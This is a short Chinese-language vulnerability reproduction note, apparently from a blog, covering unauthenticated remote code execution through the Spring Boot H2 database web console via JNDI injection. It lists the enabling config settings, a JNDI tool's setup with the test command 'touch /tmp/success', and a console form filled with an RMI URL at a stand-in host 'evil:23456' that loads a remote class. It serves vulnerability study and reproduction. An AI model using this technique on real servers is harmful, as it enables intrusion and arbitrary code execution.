原因
H2 数据库是 Java 中的嵌入式内存数据库。带有 h2 数据库的 Springboot 带有一个 web 管理页面,如果您设置以下选项,则该页面没有身份验证:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
该管理页面支持使用JNDI加载JDBC驱动,可以通过远程类加载实现远程代码执行。
spring-boot正在监听http://your-ip:8080,默认管理页面http://your-ip:8080/h2-console/。
复现
使用此工具JNDI即可利用该漏洞。首先,将目标命令设置为touch /tmp/successat config.properties:
然后启动JNDI-1.0-all.jar,就是会听的0.0.0.0:23456。根据这些信息填写表格:
![](https://i-blog.csdnimg.cn/blog_migrate/4728b67ffcdd79770ec8416a626390ec.png)
javax.naming.InitialContext是 JNDI 工厂类名,URLrmi://evil:23456/BypassByEL是你的 RMI 地址。
RMI 服务器收到请求:
![](https://i-blog.csdnimg.cn/blog_migrate/55ecae06be73dcaf914536db6c594cba.png)
touch /tmp/success已成功执行:
![](https://i-blog.csdnimg.cn/blog_migrate/07d8fa9f811e60874ad53c74decdbd21.png)